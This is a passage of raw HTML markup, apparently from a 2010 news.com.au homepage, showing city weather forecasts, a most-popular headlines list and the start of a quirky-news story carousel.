Forecast</a>\n\t\t\t\t\t</span>\n\t\t\t\t\t<span class=\"view-weather-page\"><a href=\"http://weather.news.com.au/index.jsp?site=news.com.au\">Full Weather Section</a></span>\n\t\t\t\t</div><!-- // .weather-links -->\n\t\t\t</div><!-- // .js-tab-content .Q00 -->\n\t\t\t<div class=\"js-tab-content Q04\">\n\t\t\t\t<h2 class=\"heading\">\n\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au&contexttype=district&contextcode=Q04\">\n\t\t\t\t\t\t<span>Cairns</span>\n\t            \t</a>\n\t\t\t\t</h2>\n\t\t\t\t<div class=\"weather-today\">\n\t\t\t\t\t<div class=\"weathericon-large\">\n\t\t\t\t\t\t<span class=\"showers\">Showers</span>\n\t\t\t\t\t</div><!-- // .weathericon-large -->\n\t\t\t\t\t<span class=\"weather-today-temp\">24&deg;C - 31&deg;C</span>\n\t\t\t\t\t<span class=\"weather-today-desc\">Showers.</span>\n\t\t\t\t</div><!-- // .weather-today -->\n\t\t\t\t<div class=\"weather-forecast\">\n\t\t\t\t\t<div class=\"weathericon-large\">\n\t\t\t\t\t\t<span class=\"sunny\">Sunny</span>\n\t\t\t\t\t</div><!-- // .weathericon-large -->\n\t\t\t\t\t<span class=\"weather-tomorrow\">Tomorrow</span>\n\t\t\t\t\t<span class=\"weather-forecast-temp\">16&deg;C - 38&deg;C</span>\n\t\t\t\t</div><!-- // .weather-forecast -->\n\t\t\t\t<div class=\"weather-links\">\n\t\t\t\t\t<span class=\"view-forecast\">\n\t\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au&amp;contexttype=district&amp;contextcode=Q04&amp;twcid=9186\">View 5 Day Forecast</a>\n\t\t\t\t\t</span>\n\t\t\t\t\t<span class=\"view-weather-page\"><a href=\"http://weather.news.com.au/index.jsp?site=news.com.au\">Full Weather Section</a></span>\n\t\t\t\t</div><!-- // .weather-links -->\n\t\t\t</div><!-- // .js-tab-content .Q04 -->\n\t\t\t<div class=\"js-tab-content N07\">\n\t\t\t\t<h2 class=\"heading\">\n\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au&contexttype=district&contextcode=N07\">\n\t\t\t\t\t\t<span>Canberra</span>\n\t            \t</a>\n\t\t\t\t</h2>\n\t\t\t\t<div class=\"weather-today\">\n\t\t\t\t\t<div class=\"weathericon-large\">\n\t\t\t\t\t\t<span class=\"mostly-sunny\">Mostly sunny</span>\n\t\t\t\t\t</div><!-- // .weathericon-large -->\n\t\t\t\t\t<span class=\"weather-today-temp\">20&deg;C - 38&deg;C</span>\n\t\t\t\t\t<span class=\"weather-today-desc\">Fine, mostly sunny.</span>\n\t\t\t\t</div><!-- // .weather-today -->\n\t\t\t\t<div class=\"weather-forecast\">\n\t\t\t\t\t<div class=\"weathericon-large\">\n\t\t\t\t\t\t<span class=\"mostly-sunny\">Mostly sunny</span>\n\t\t\t\t\t</div><!-- // .weathericon-large -->\n\t\t\t\t\t<span class=\"weather-tomorrow\">Tomorrow</span>\n\t\t\t\t\t<span class=\"weather-forecast-temp\">20&deg;C - 30&deg;C</span>\n\t\t\t\t</div><!-- // .weather-forecast -->\n\t\t\t\t<div class=\"weather-links\">\n\t\t\t\t\t<span class=\"view-forecast\">\n\t\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au&amp;contexttype=district&amp;contextcode=N07&amp;twcid=9028\">View 5 Day Forecast</a>\n\t\t\t\t\t</span>\n\t\t\t\t\t<span class=\"view-weather-page\"><a href=\"http://weather.news.com.au/index.jsp?site=news.com.au\">Full Weather Section</a></span>\n\t\t\t\t</div><!-- // .weather-links -->\n\t\t\t</div><!-- // .js-tab-content .N07 -->\n\t\t\t<div class=\"js-tab-content Q15\">\n\t\t\t\t<h2 class=\"heading\">\n\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au&contexttype=district&contextcode=Q15\">\n\t\t\t\t\t\t<span>Coolangatta</span>\n\t            \t</a>\n\t\t\t\t</h2>\n\t\t\t\t<div class=\"weather-today\">\n\t\t\t\t\t<div class=\"weathericon-large\">\n\t\t\t\t\t\t<span class=\"mostly-sunny\">Mostly sunny</span>\n\t\t\t\t\t</div><!-- // .weathericon-large -->\n\t\t\t\t\t<span class=\"weather-today-temp\">21&deg;C - 30&deg;C</span>\n\t\t\t\t\t<span class=\"weather-today-desc\">Fine.</span>\n\t\t\t\t</div><!-- // .weather-today -->\n\t\t\t\t<div class=\"weather-forecast\">\n\t\t\t\t\t<div class=\"weathericon-large\">\n\t\t\t\t\t\t<span class=\"late-thunder\">Late thunder</span>\n\t\t\t\t\t</div><!-- // .weathericon-large -->\n\t\t\t\t\t<span class=\"weather-tomorrow\">Tomorrow</span>\n\t\t\t\t\t<span class=\"weather-forecast-temp\">25&deg;C - 32&deg;C</span>\n\t\t\t\t</div><!-- // .weather-forecast -->\n\t\t\t\t<div class=\"weather-links\">\n\t\t\t\t\t<span class=\"view-forecast\">\n\t\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au&amp;contexttype=district&amp;contextcode=Q15&amp;twcid=9254\">View 5 Day Forecast</a>\n\t\t\t\t\t</span>\n\t\t\t\t\t<span class=\"view-weather-page\"><a href=\"http://weather.news.com.au/index.jsp?site=news.com.au\">Full Weather Section</a></span>\n\t\t\t\t</div><!-- // .weather-links -->\n\t\t\t</div><!-- // .js-tab-content .Q15 -->\n\t\t\t<div class=\"js-tab-content D00\">\n\t\t\t\t<h2 class=\"heading\">\n\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au&contexttype=district&contextcode=D00\">\n\t\t\t\t\t\t<span>Darwin</span>\n\t            \t</a>\n\t\t\t\t</h2>\n\t\t\t\t<div class=\"weather-today\">\n\t\t\t\t\t<div class=\"weathericon-large\">\n\t\t\t\t\t\t<span class=\"thunderstorms\">Thunderstorms</span>\n\t\t\t\t\t</div><!-- // .weathericon-large -->\n\t\t\t\t\t<span class=\"weather-today-temp\">25&deg;C - 31&deg;C</span>\n\t\t\t\t\t<span class=\"weather-today-desc\">Showers or storms.</span>\n\t\t\t\t</div><!-- // .weather-today -->\n\t\t\t\t<div class=\"weather-forecast\">\n\t\t\t\t\t<div class=\"weathericon-large\">\n\t\t\t\t\t\t<span class=\"mostly-sunny\">Mostly sunny</span>\n\t\t\t\t\t</div><!-- // .weathericon-large -->\n\t\t\t\t\t<span class=\"weather-tomorrow\">Tomorrow</span>\n\t\t\t\t\t<span class=\"weather-forecast-temp\">14&deg;C - 36&deg;C</span>\n\t\t\t\t</div><!-- // .weather-forecast -->\n\t\t\t\t<div class=\"weather-links\">\n\t\t\t\t\t<span class=\"view-forecast\">\n\t\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au&amp;contexttype=district&amp;contextcode=D00&amp;twcid=9110\">View 5 Day Forecast</a>\n\t\t\t\t\t</span>\n\t\t\t\t\t<span class=\"view-weather-page\"><a href=\"http://weather.news.com.au/index.jsp?site=news.com.au\">Full Weather Section</a></span>\n\t\t\t\t</div><!-- // .weather-links -->\n\t\t\t</div><!-- // .js-tab-content .D00 -->\n\t\t\t<div class=\"js-tab-content T04\">\n\t\t\t\t<h2 class=\"heading\">\n\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au&contexttype=district&contextcode=T04\">\n\t\t\t\t\t\t<span>Hobart</span>\n\t            \t</a>\n\t\t\t\t</h2>\n\t\t\t\t<div class=\"weather-today\">\n\t\t\t\t\t<div class=\"weathericon-large\">\n\t\t\t\t\t\t<span class=\"rain-clearing\">Rain clearing</span>\n\t\t\t\t\t</div><!-- // .weathericon-large -->\n\t\t\t\t\t<span class=\"weather-today-temp\">20&deg;C - 28&deg;C</span>\n\t\t\t\t\t<span class=\"weather-today-desc\">A little rain, clearing later.</span>\n\t\t\t\t</div><!-- // .weather-today -->\n\t\t\t\t<div class=\"weather-forecast\">\n\t\t\t\t\t<div class=\"weathericon-large\">\n\t\t\t\t\t\t<span class=\"mostly-sunny\">Mostly sunny</span>\n\t\t\t\t\t</div><!-- // .weathericon-large -->\n\t\t\t\t\t<span class=\"weather-tomorrow\">Tomorrow</span>\n\t\t\t\t\t<span class=\"weather-forecast-temp\">21&deg;C - 43&deg;C</span>\n\t\t\t\t</div><!-- // .weather-forecast -->\n\t\t\t\t<div class=\"weather-links\">\n\t\t\t\t\t<span class=\"view-forecast\">\n\t\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au&amp;contexttype=district&amp;contextcode=T04&amp;twcid=9329\">View 5 Day Forecast</a>\n\t\t\t\t\t</span>\n\t\t\t\t\t<span class=\"view-weather-page\"><a href=\"http://weather.news.com.au/index.jsp?site=news.com.au\">Full Weather Section</a></span>\n\t\t\t\t</div><!-- // .weather-links -->\n\t\t\t</div><!-- // .js-tab-content .T04 -->\n\t\t\t<div class=\"js-tab-content V00\">\n\t\t\t\t<h2 class=\"heading\">\n\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au&contexttype=district&contextcode=V00\">\n\t\t\t\t\t\t<span>Melbourne</span>\n\t            \t</a>\n\t\t\t\t</h2>\n\t\t\t\t<div class=\"weather-today\">\n\t\t\t\t\t<div class=\"weathericon-large\">\n\t\t\t\t\t\t<span class=\"showers\">Showers</span>\n\t\t\t\t\t</div><!-- // .weathericon-large -->\n\t\t\t\t\t<span class=\"weather-today-temp\">27&deg;C - 33&deg;C</span>\n\t\t\t\t\t<span class=\"weather-today-desc\">Cool change. Few showers.</span>\n\t\t\t\t</div><!-- // .weather-today -->\n\t\t\t\t<div class=\"weather-forecast\">\n\t\t\t\t\t<div class=\"weathericon-large\">\n\t\t\t\t\t\t<span class=\"increasing-sunshine\">Increasing sunshine</span>\n\t\t\t\t\t</div><!-- // .weathericon-large -->\n\t\t\t\t\t<span class=\"weather-tomorrow\">Tomorrow</span>\n\t\t\t\t\t<span class=\"weather-forecast-temp\">21&deg;C - 28&deg;C</span>\n\t\t\t\t</div><!-- // .weather-forecast -->\n\t\t\t\t<div class=\"weather-links\">\n\t\t\t\t\t<span class=\"view-forecast\">\n\t\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au&amp;contexttype=district&amp;contextcode=V00&amp;twcid=9477\">View 5 Day Forecast</a>\n\t\t\t\t\t</span>\n\t\t\t\t\t<span class=\"view-weather-page\"><a href=\"http://weather.news.com.au/index.jsp?site=news.com.au\">Full Weather Section</a></span>\n\t\t\t\t</div><!-- // .weather-links -->\n\t\t\t</div><!-- // .js-tab-content .V00 -->\n\t\t\t<div class=\"js-tab-content N03\">\n\t\t\t\t<h2 class=\"heading\">\n\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au&contexttype=district&contextcode=N03\">\n\t\t\t\t\t\t<span>Newcastle</span>\n\t            \t</a>\n\t\t\t\t</h2>\n\t\t\t\t<div class=\"weather-today\">\n\t\t\t\t\t<div class=\"weathericon-large\">\n\t\t\t\t\t\t<span class=\"mostly-sunny\">Mostly sunny</span>\n\t\t\t\t\t</div><!-- // .weathericon-large -->\n\t\t\t\t\t<span class=\"weather-today-temp\">21&deg;C - 34&deg;C</span>\n\t\t\t\t\t<span class=\"weather-today-desc\">Fine.</span>\n\t\t\t\t</div><!-- // .weather-today -->\n\t\t\t\t<div class=\"weather-forecast\">\n\t\t\t\t\t<div class=\"weathericon-large\">\n\t\t\t\t\t\t<span class=\"mostly-sunny\">Mostly sunny</span>\n\t\t\t\t\t</div><!-- // .weathericon-large -->\n\t\t\t\t\t<span class=\"weather-tomorrow\">Tomorrow</span>\n\t\t\t\t\t<span class=\"weather-forecast-temp\">13&deg;C - 24&deg;C</span>\n\t\t\t\t</div><!-- // .weather-forecast -->\n\t\t\t\t<div class=\"weather-links\">\n\t\t\t\t\t<span class=\"view-forecast\">\n\t\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au&amp;contexttype=district&amp;contextcode=N03&amp;twcid=8973\">View 5 Day Forecast</a>\n\t\t\t\t\t</span>\n\t\t\t\t\t<span class=\"view-weather-page\"><a href=\"http://weather.news.com.au/index.jsp?site=news.com.au\">Full Weather Section</a></span>\n\t\t\t\t</div><!-- // .weather-links -->\n\t\t\t</div><!-- // .js-tab-content .N03 -->\n\t\t\t<div class=\"js-tab-content W00\">\n\t\t\t\t<h2 class=\"heading\">\n\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au&contexttype=district&contextcode=W00\">\n\t\t\t\t\t\t<span>Perth</span>\n\t            \t</a>\n\t\t\t\t</h2>\n\t\t\t\t<div class=\"weather-today\">\n\t\t\t\t\t<div class=\"weathericon-large\">\n\t\t\t\t\t\t<span class=\"sunny\">Sunny</span>\n\t\t\t\t\t</div><!-- // .weathericon-large -->\n\t\t\t\t\t<span class=\"weather-today-temp\">12&deg;C - 30&deg;C</span>\n\t\t\t\t\t<span class=\"weather-today-desc\">Sunny.</span>\n\t\t\t\t</div><!-- // .weather-today -->\n\t\t\t\t<div class=\"weather-forecast\">\n\t\t\t\t\t<div class=\"weathericon-large\">\n\t\t\t\t\t\t<span class=\"increasing-sunshine\">Increasing sunshine</span>\n\t\t\t\t\t</div><!-- // .weathericon-large -->\n\t\t\t\t\t<span class=\"weather-tomorrow\">Tomorrow</span>\n\t\t\t\t\t<span class=\"weather-forecast-temp\">21&deg;C - 27&deg;C</span>\n\t\t\t\t</div><!-- // .weather-forecast -->\n\t\t\t\t<div class=\"weather-links\">\n\t\t\t\t\t<span class=\"view-forecast\">\n\t\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au&amp;contexttype=district&amp;contextcode=W00&amp;twcid=9528\">View 5 Day Forecast</a>\n\t\t\t\t\t</span>\n\t\t\t\t\t<span class=\"view-weather-page\"><a href=\"http://weather.news.com.au/index.jsp?site=news.com.au\">Full Weather Section</a></span>\n\t\t\t\t</div><!-- // .weather-links -->\n\t\t\t</div><!-- // .js-tab-content .W00 -->\n\t\t\t<div class=\"js-tab-content N00\">\n\t\t\t\t<h2 class=\"heading\">\n\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au&contexttype=district&contextcode=N00\">\n\t\t\t\t\t\t<span>Sydney</span>\n\t            \t</a>\n\t\t\t\t</h2>\n\t\t\t\t<div class=\"weather-today\">\n\t\t\t\t\t<div class=\"weathericon-large\">\n\t\t\t\t\t\t<span class=\"cloud-increasing\">Cloud increasing</span>\n\t\t\t\t\t</div><!-- // .weathericon-large -->\n\t\t\t\t\t<span class=\"weather-today-temp\">22&deg;C - 33&deg;C</span>\n\t\t\t\t\t<span class=\"weather-today-desc\">Fine. Cloud increasing.</span>\n\t\t\t\t</div><!-- // .weather-today -->\n\t\t\t\t<div class=\"weather-forecast\">\n\t\t\t\t\t<div class=\"weathericon-large\">\n\t\t\t\t\t\t<span class=\"mostly-cloudy\">Mostly cloudy</span>\n\t\t\t\t\t</div><!-- // .weathericon-large -->\n\t\t\t\t\t<span class=\"weather-tomorrow\">Tomorrow</span>\n\t\t\t\t\t<span class=\"weather-forecast-temp\">24&deg;C - 32&deg;C</span>\n\t\t\t\t</div><!-- // .weather-forecast -->\n\t\t\t\t<div class=\"weather-links\">\n\t\t\t\t\t<span class=\"view-forecast\">\n\t\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au&amp;contexttype=district&amp;contextcode=N00&amp;twcid=9770\">View 5 Day Forecast</a>\n\t\t\t\t\t</span>\n\t\t\t\t\t<span class=\"view-weather-page\"><a href=\"http://weather.news.com.au/index.jsp?site=news.com.au\">Full Weather Section</a></span>\n\t\t\t\t</div><!-- // .weather-links -->\n\t\t\t</div><!-- // .js-tab-content .N00 -->\n\t\t\t<div class=\"js-tab-content S00\">\n\t\t\t\t<h2 class=\"heading\">\n\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au&contexttype=district&contextcode=S00\">\n\t\t\t\t\t\t<span>Adelaide</span>\n\t            \t</a>\n\t\t\t\t</h2>\n\t\t\t\t<div class=\"weather-today\">\n\t\t\t\t\t<div class=\"weathericon-large\">\n\t\t\t\t\t\t<span class=\"windy\">Windy</span>\n\t\t\t\t\t</div><!-- // .weathericon-large -->\n\t\t\t\t\t<span class=\"weather-today-temp\">29&deg;C - 42&deg;C</span>\n\t\t\t\t\t<span class=\"weather-today-desc\">Dry and windy.</span>\n\t\t\t\t</div><!-- // .weather-today -->\n\t\t\t\t<div class=\"weather-forecast\">\n\t\t\t\t\t<div class=\"weathericon-large\">\n\t\t\t\t\t\t<span class=\"mostly-cloudy\">Mostly cloudy</span>\n\t\t\t\t\t</div><!-- // .weathericon-large -->\n\t\t\t\t\t<span class=\"weather-tomorrow\">Tomorrow</span>\n\t\t\t\t\t<span class=\"weather-forecast-temp\">24&deg;C - 32&deg;C</span>\n\t\t\t\t</div><!-- // .weather-forecast -->\n\t\t\t\t<div class=\"weather-links\">\n\t\t\t\t\t<span class=\"view-forecast\">\n\t\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au&amp;contexttype=district&amp;contextcode=S00&amp;twcid=9401\">View 5 Day Forecast</a>\n\t\t\t\t\t</span>\n\t\t\t\t\t<span class=\"view-weather-page\"><a href=\"http://weather.news.com.au/index.jsp?site=news.com.au\">Full Weather Section</a></span>\n\t\t\t\t</div><!-- // .weather-links -->\n\t\t\t</div><!-- // .js-tab-content .S00 -->\n\t</div><!-- // .module-content -->\n</div><!-- // .module .weather-tab . -->\n\n\n\t\t\t\t\t<div class=\"custom-html  \">\n\t\t<script type=\"text/javascript\">\nif(ndm.load && ndm.load.newshome && ndm.load.newshome.weather) {\n   ndm.load.newshome.weather();\n}\n</script>\n\t</div><!-- // .custom-html -->\n\n\t\t\t\t\t<div class=\"ad ad-island mpos-3 mrpos-7\" id=\"ad-island-\" >\n\t\t    <div class=\"ndmadkit ndmadkit-island\"><script type=\"text/javascript\">ndm.kit.island();</script></div><!-- // .ndmadkit -->\n\t\t    <div class=\"ndmadkit ndmadkit-island\"><script type=\"text/javascript\">ndm.kit.island();</script></div><!-- // .ndmadkit -->\n\t\t    <div class=\"ndmadkit ndmadkit-island\"><script type=\"text/javascript\">ndm.kit.island();</script></div><!-- // .ndmadkit -->\n\t\t</div><!-- // .ad .ad-island- -->\n\n\t\t\t\t\t<!-- Generated at Mon Jan 11 12:49:21 EST 2010 -->\n<div class=\"module most-popular tabbed js-tabbed  mpos-4 mrpos-6 id1225749298340\">\n\t<div class=\"module-header\">\n\t\t<h3 class=\"heading\">\n\t\t\t\t<a href=\"/most-popular\">Most Popular</a>\n\t\t</h3>\n\t</div><!-- // .module-header -->\n\t<div class=\"module-controls\">\n\t\t<ul class=\"tab-set\">\n           <li class=\"tab js-tab\"><a href=\"#\">News</a></li>\n           <li class=\"tab js-tab\"><a href=\"#\">Blogs</a></li>\n\t\t</ul>\n\t</div>\n\t<div class=\"module-content\">\n        <div class=\"content-item tab-content js-tab-content\">\n        \t<ol>\n\t\t\t\t\t<li class=\"lipos-1 lirpos-10\"><a href=\"http://www.news.com.au/story/0,1,26573121-23109,00.html\">'Crime lord's' penis falls off in raid</a></li>\n\t\t\t\t\t<li class=\"lipos-2 lirpos-9\"><a href=\"http://www.news.com.au/story/0,1,26574510-401,00.html\">Bali 'confession' to help mate</a></li>\n\t\t\t\t\t<li class=\"lipos-3 lirpos-8\"><a href=\"http://www.news.com.au/story/0,1,26574277-421,00.html\">Teens mutilated by botched circumcisions </a></li>\n\t\t\t\t\t<li class=\"lipos-4 lirpos-7\"><a href=\"http://www.news.com.au/travel/story/0,1,26573967-5014090,00.html\">Sex resort starts new life with a bang </a></li>\n\t\t\t\t\t<li class=\"lipos-5 lirpos-6\"><a href=\"http://www.news.com.au/entertainment/story/0,1,26573657-7484,00.html\">Jackie O's so sorry for radio show stunt </a></li>\n\t\t\t\t\t<li class=\"lipos-6 lirpos-5\"><a href=\"http://www.news.com.au/entertainment/story/0,1,26574603-5013560,00.html\">Spears 'catches lover with two women'</a></li>\n\t\t\t\t\t<li class=\"lipos-7 lirpos-4\"><a href=\"http://www.news.com.au/entertainment/story/0,1,26574711-5013560,00.html\">Ricki-Lee says women don't relate to Jen</a></li>\n\t\t\t\t\t<li class=\"lipos-8 lirpos-3\"><a href=\"http://www.news.com.au/business/story/0,1,26574546-462,00.html\">Australia's new leading state revealed </a></li>\n\t\t\t\t\t<li class=\"lipos-9 lirpos-2\"><a href=\"http://www.news.com.au/technology/story/0,1,26572369-5014239,00.html\">World's first life-size robotic girlfriend</a></li>\n\t\t\t\t\t<li class=\"lipos-10 lirpos-1\"><a href=\"http://www.news.com.au/business/story/0,1,26573967-462,00.html\">Sex resort starts new life with a bang </a></li>\n            </ol>\n\t\t</div><!-- // .content-item .js-tab-content -->\n        <div class=\"content-item tab-content js-tab-content\">\n        \t<ol>\n\t\t\t\t\t<li class=\"lipos-1 lirpos-10\"><a href=\"http://blogs.news.com.au/bossy/index.php/news/comments/what_should_i_do_about_my_friend_the_home_wrecker\">What should I do about my friend the home wrecker?</a></li>\n\t\t\t\t\t<li class=\"lipos-2 lirpos-9\"><a href=\"http://blogs.news.com.au/bossy/index.php/news/comments/i_did_a_bad_thing_at_the_office_xmas_party\">I did a bad thing at the office xmas party</a></li>\n\t\t\t\t\t<li class=\"lipos-3 lirpos-8\"><a href=\"http://blogs.news.com.au/news/splat/index.php/news/comments/the_mmm_monday_mourning_marvel4\">The M.M.M (Monday Mourning Marvel)</a></li>\n\t\t\t\t\t<li class=\"lipos-4 lirpos-7\"><a href=\"http://blogs.news.com.au/bossy/index.php/news/comments/how_can_i_get_him_to_work_on_his_technique\">How can I get him to work on his technique?</a></li>\n\t\t\t\t\t<li class=\"lipos-5 lirpos-6\"><a href=\"http://blogs.news.com.au/bossy/index.php/news/comments/i_had_sex_with_my_mates_16_year_old_daughter\">I had sex with my friend&#8217;s 16-year-old daughter. What should I do?</a></li>\n\t\t\t\t\t<li class=\"lipos-6 lirpos-5\"><a href=\"http://blogs.news.com.au/news/splat/index.php/news/comments/what_is_a_self_potato\">What is a self-potato?</a></li>\n\t\t\t\t\t<li class=\"lipos-7 lirpos-4\"><a href=\"http://blogs.news.com.au/subpub/index.php/news/comments/once_and_future_prints\">Tomorrow&#8217;s news</a></li>\n\t\t\t\t\t<li class=\"lipos-8 lirpos-3\"><a href=\"http://blogs.news.com.au/news/splat/index.php/news/comments/the_most_beautiful_women_in_the_world\">The most beautiful men and women in the world</a></li>\n\t\t\t\t\t<li class=\"lipos-9 lirpos-2\"><a href=\"http://blogs.news.com.au/bossy/index.php/news/comments/has_my_girlfriend_slept_with_too_many_men\">Has my girlfriend slept with too many men?</a></li>\n\t\t\t\t\t<li class=\"lipos-10 lirpos-1\"><a href=\"http://blogs.news.com.au/news/splat/index.php/news/comments/people_do_like_to_complain_dont_they\">People do like to complain, don&#8217;t they?</a></li>\n\t\t\t</ol>\n\t\t</div><!-- // .content-item .js-tab-content -->\n    </div><!-- // .module-content -->\n\t  \t<div class=\"module-footer\">\n\t\t\t<p class=\"more-link\"><a href=\"/most-popular\">More most popular</a></p>\n\t\t</div><!-- // .module-footer -->\n</div><!-- // .module .most-popular .news nmd most pop tabs -->\n\n\n\t\t\t\t\t<div class=\"module summary-fader story-fader js-story-fader ci-count-6   collection mpos-5 mrpos-5 text-m-wtf-weird-true-freakynbsp id1225750779215\" id=\"id1225750779215\">\n\t\t\t<div class=\"module-header\">\n\t\t\t\t\t\t\t\t<h3 class=\"heading\"><a href=\"/weird-true-freaky\">WTF: Weird True Freaky&nbsp;</a></h3>\n\t\t\t</div>\n\t\t\t<!-- // .module-header -->\n\t\t\t<div class=\"module-content \">\n\t\t<div class=\"content-item fader-item js-fader-item cipos-1 cirpos-6\">\n\t\t\t<div class=\"story-block sbpos-1 sbrpos-6 id1225817609646\">\n\t\t\t\t<h4 class=\"heading\">\n\t\t\t<a href=\"/weird-true-freaky/enemies-unite-for-world-record-hummus/story-e6frflri-1225817609646\">\n\t\t\t\t\t\tGiant hummus in name of world peas\n\t\t\t</a>\n\t\t</h4>\n\t\t\t\t<a href=\"/weird-true-freaky/enemies-unite-for-world-record-hummus/story-e6frflri-1225817609646\" class=\"thumb-link\"><img src=\"http://resources3.news.com.au/images/2010/01/09/1225817/608639-hummus-world-record.jpg\" alt=\"hummus world record\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<p class=\"standfirst\">\n\t\t\t<strong class=\"standfirst-kicker \"></strong>\n\t\tISRAELI Arab and Jewish chefs have put aside their differences to serve up a world record dish of hummus.\n\t</p> <!-- // .standfirst -->\n\n\t\t\t</div> <!-- // .story-block -->\n\t\t</div> <!-- // .content-item -->\n\t\t<div class=\"content-item fader-item js-fader-item cipos-2 cirpos-5\">\n\t\t\t<div class=\"story-block sbpos-2 sbrpos-5 id1225818036189\">\n\t\t\t\t<h4 class=\"heading\">\n\t\t\t<a href=\"/weird-true-freaky/robber-hides-in-see-through-plastic-bag/story-e6frflri-1225818036189\">\n\t\t\t\t\t\tRobber hides in see-through plastic bag\n\t\t\t</a>\n\t\t</h4>\n\t\t\t\t<a href=\"/weird-true-freaky/robber-hides-in-see-through-plastic-bag/story-e6frflri-1225818036189\" class=\"thumb-link\"><img src=\"http://resources1.news.com.au/images/2010/01/11/1225818/037657-plastic-bag.jpg\" alt=\"plastic bag\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<p class=\"standfirst\">\n\t\t\t<strong class=\"standfirst-kicker \"></strong>\n\t\tA ROBBER&nbsp;wearing a transparent plastic bag over his head has held up a service station.\n\t</p> <!-- // .standfirst -->\n\n\t\t\t</div> <!-- // .story-block -->\n\t\t</div> <!-- // .content-item -->\n\t\t<div class=\"content-item fader-item js-fader-item cipos-3 cirpos-4\">\n\t\t\t<div class=\"story-block sbpos-3 sbrpos-4 id1225817189755\">\n\t\t\t\t<h4 class=\"heading\">\n\t\t\t<a href=\"/weird-true-freaky/swiss-millionaire-conman-slapped-with-315000-speeding-ticket/story-e6frflri-1225817189755\">\n\t\t\t\t\t\tSpeeding millionaire cops $315,000 fine\n\t\t\t</a>\n\t\t</h4>\n\t\t\t\t<a href=\"/weird-true-freaky/swiss-millionaire-conman-slapped-with-315000-speeding-ticket/story-e6frflri-1225817189755\" class=\"thumb-link\"><img src=\"http://resources1.news.com.au/images/2010/01/08/1225817/189861-news-image-ferrari-20100108.jpg\" alt=\"news image ferrari 20100108\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<p class=\"standfirst\">\n\t\t\t<strong class=\"standfirst-kicker \"></strong>\n\t\tA MULTI-millionaire was fined a staggering $315,000 for trying to evade a hefty speeding fine.\n\t</p> <!-- // .standfirst -->\n\n\t\t\t</div> <!-- // .story-block -->\n\t\t</div> <!-- // .content-item -->\n\t\t<div class=\"content-item fader-item js-fader-item cipos-4 cirpos-3\">\n\t\t\t<div class=\"story-block sbpos-4 sbrpos-3 id1225816530181\">\n\t\t\t\t<h4 class=\"heading\">\n\t\t\t<a href=\"/weird-true-freaky/man-wishes-wife-happy-birthday-in-manure/story-e6frflri-1225816530181\">\n\t\t\t\t\t\tMan's Happy Birthday wish - in manure\n\t\t\t</a>\n\t\t</h4>\n\t\t\t\t<a href=\"/weird-true-freaky/man-wishes-wife-happy-birthday-in-manure/story-e6frflri-1225816530181\" class=\"thumb-link\"><img src=\"http://resources0.news.com.au/images/2010/01/06/1225816/532432-manure.jpg\" alt=\"Manure\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<p class=\"standfirst\">\n\t\t\t<strong class=\"standfirst-kicker \"></strong>\n\t\tASK one wife if she got the perfect birthday present and she'll tell you her hubby &quot;dung good&quot;.\n\t</p> <!-- // .standfirst -->\n\n\t\t\t</div> <!-- // .story-block -->\n\t\t</div> <!-- // .content-item -->\n\t\t<div class=\"content-item fader-item js-fader-item cipos-5 cirpos-2\">\n\t\t\t<div class=\"story-block sbpos-5 sbrpos-2 id1225816221204\">\n\t\t\t\t<h4 class=\"heading\">\n\t\t\t<a href=\"/weird-true-freaky/machine-is-a-real-turn-off-literally/story-e6frflri-1225816221204\">\n\t\t\t\t\t\tMachine is a real turn-off - literally\n\t\t\t</a>\n\t\t</h4>\n\t\t\t\t<a href=\"/weird-true-freaky/machine-is-a-real-turn-off-literally/story-e6frflri-1225816221204\" class=\"thumb-link\"><img src=\"http://resources0.news.com.au/images/2010/01/05/1225816/221548-machine.jpg\" alt=\"Machine\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<p class=\"standfirst\">\n\t\t\t<strong class=\"standfirst-kicker \"></strong>\n\t\tIT'S made of wood and has a switch on top. That's it really. So what is the appeal of this box?\n\t</p> <!-- // .standfirst -->\n\n\t\t\t</div> <!-- // .story-block -->\n\t\t</div> <!-- // .content-item -->\n\t\t<div class=\"content-item fader-item js-fader-item cipos-6 cirpos-1\">\n\t\t\t<div class=\"story-block sbpos-6 sbrpos-1 id1225815914408\">\n\t\t\t\t<h4 class=\"heading\">\n\t\t\t<a href=\"/weird-true-freaky/bungling-bank-robbers-top-darwin-awards/story-e6frflri-1225815914408\">\n\t\t\t\t\t\tBungling bank robbers top Darwin Awards\n\t\t\t</a>\n\t\t</h4>\n\t\t\t\t<a href=\"/weird-true-freaky/bungling-bank-robbers-top-darwin-awards/story-e6frflri-1225815914408\" class=\"thumb-link\"><img src=\"http://resources0.news.com.au/images/2010/01/04/1225815/919132-atm.jpg\" alt=\"ATM\"  class=\"thumbnail\"  width=\"100\"  